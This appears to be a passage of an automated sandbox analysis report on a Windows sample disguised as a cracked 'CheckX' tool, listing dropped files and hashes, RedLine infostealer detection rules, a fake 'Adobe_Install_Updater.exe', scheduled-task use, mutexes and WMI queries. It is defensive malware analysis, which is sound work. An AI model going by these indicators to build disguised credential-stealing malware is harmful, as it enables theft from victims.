Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_05BFAE3B	16_2_05BFAE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_05BF1627	16_2_05BF1627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_05BF41FB	16_2_05BF41FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_05BF0006	16_2_05BF0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068BA7A0	16_2_068BA7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068BBBE8	16_2_068BBBE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068BAF50	16_2_068BAF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B142C	16_2_068B142C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B0040	16_2_068B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068BA790	16_2_068BA790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068BAF41	16_2_068BAF41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B0033	16_2_068B0033
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068BB1CE	16_2_068BB1CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B51E3	16_2_068B51E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B51F0	16_2_068B51F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B4138	16_2_068B4138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_068B4137	16_2_068B4137
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A585D0	16_2_06A585D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A5C2F0	16_2_06A5C2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A5C617	16_2_06A5C617
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A5D4E8	16_2_06A5D4E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A585C2	16_2_06A585C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A590C8	16_2_06A590C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A590D8	16_2_06A590D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A50007	16_2_06A50007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A50040	16_2_06A50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A9EE80	16_2_06A9EE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A90040	16_2_06A90040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A948FB	16_2_06A948FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06A90006	16_2_06A90006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06D1DAF0	16_2_06D1DAF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06D00040	16_2_06D00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06D00007	16_2_06D00007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06D1CDA0	16_2_06D1CDA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC4228	16_2_06DC4228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC8FF8	16_2_06DC8FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC8A50	16_2_06DC8A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC8A41	16_2_06DC8A41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC4218	16_2_06DC4218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC8FE8	16_2_06DC8FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 16_2_06DC447C	16_2_06DC447C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_00D1AF38	20_2_00D1AF38
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_00D17058	20_2_00D17058
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_00D17049	20_2_00D17049
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_00D1F300	20_2_00D1F300
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_00D17698	20_2_00D17698
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_00D176A8	20_2_00D176A8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055DB208	20_2_055DB208
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055D4D7F	20_2_055D4D7F
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055D3918	20_2_055D3918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055D3928	20_2_055D3928
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055DB1F8	20_2_055DB1F8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055D3A1C	20_2_055D3A1C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055DFAB8	20_2_055DFAB8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_055DFAA8	20_2_055DFAA8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06153280	20_2_06153280
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06154488	20_2_06154488
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_061535A7	20_2_061535A7
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06150006	20_2_06150006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06167322	20_2_06167322
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06166FB8	20_2_06166FB8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06167CA0	20_2_06167CA0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_0616F4C8	20_2_0616F4C8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06161238	20_2_06161238
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06168271	20_2_06168271
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06161290	20_2_06161290
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_061667B0	20_2_061667B0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_061667A0	20_2_061667A0
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06166FAA	20_2_06166FAA
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06160006	20_2_06160006
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06160040	20_2_06160040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_061670DE	20_2_061670DE
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064DCC68	20_2_064DCC68
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064D9008	20_2_064D9008
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064D2FF8	20_2_064D2FF8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064D8FF8	20_2_064D8FF8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064DCC67	20_2_064DCC67
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064DD907	20_2_064DD907
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064DD918	20_2_064DD918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064DA588	20_2_064DA588
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_064DA598	20_2_064DA598
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06520040	20_2_06520040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06520027	20_2_06520027
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_065956FC	20_2_065956FC
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06590040	20_2_06590040
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06590027	20_2_06590027
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_0681CFE8	20_2_0681CFE8
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_0680132D	20_2_0680132D
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06800007	20_2_06800007
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 20_2_06800040	20_2_06800040

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe 49B47081F5F4A706CD3B70421094B9DDF59A6C18FCBD177D5F6565FC14514EA1
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\build.exe 9B7FC6C8743440FB3958135998D2E4A67143DBDB980D18790CE68FF2634E495D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe 8FC221B7C8E3F52F22841C866CF0D842F2A1266E79B472273766CE1704474499

Source: 6RE1Z857ae.exe	Binary or memory string: OriginalFilename vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2196588124.000000000120E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2215324588.0000000006BA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003198000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCheckX.exe. vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000000.2059077137.0000000000C52000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCheckX-Cracked-VIP.exeF vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003112000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003112000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCheckX-Cracked-VIP.exeF vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003010000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2213689503.0000000006870000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameWumgrxhuw.dll" vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWumgrxhuw.dll" vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs 6RE1Z857ae.exe
Source: 6RE1Z857ae.exe	Binary or memory string: OriginalFilenameCheckX-Cracked-VIP.exeF vs 6RE1Z857ae.exe

Source: 6RE1Z857ae.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.0.build.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 5.0.build.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.6RE1Z857ae.exe.3fe9550.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.6RE1Z857ae.exe.3fe9550.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: 6RE1Z857ae.exe PID: 6984, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: build.exe PID: 1020, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@108/95@1/1

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

File created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6592:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\344e479240
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

File created: C:\Users\user\AppData\Local\Temp\build.exe

Jump to behavior

Source: 6RE1Z857ae.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 6RE1Z857ae.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp932A.tmp.32.dr, tmp55.tmp.5.dr, tmp34A5.tmp.5.dr, tmpC202.tmp.32.dr, tmpC635.tmp.32.dr, tmpCFFC.tmp.5.dr, tmpCFFD.tmp.5.dr, tmp935B.tmp.32.dr, tmpD00E.tmp.5.dr, tmpC1B0.tmp.32.dr, tmpC1F1.tmp.32.dr, tmp934B.tmp.32.dr, tmpD01F.tmp.5.dr, tmpD00D.tmp.5.dr, tmpC1D1.tmp.32.dr, tmpC645.tmp.32.dr, tmp34C7.tmp.5.dr, tmpC615.tmp.32.dr, tmp45.tmp.5.dr, tmpC1C1.tmp.32.dr, tmp34B5.tmp.5.dr, tmp8C18.tmp.32.dr, tmp34C6.tmp.5.dr, tmpCFEB.tmp.5.dr
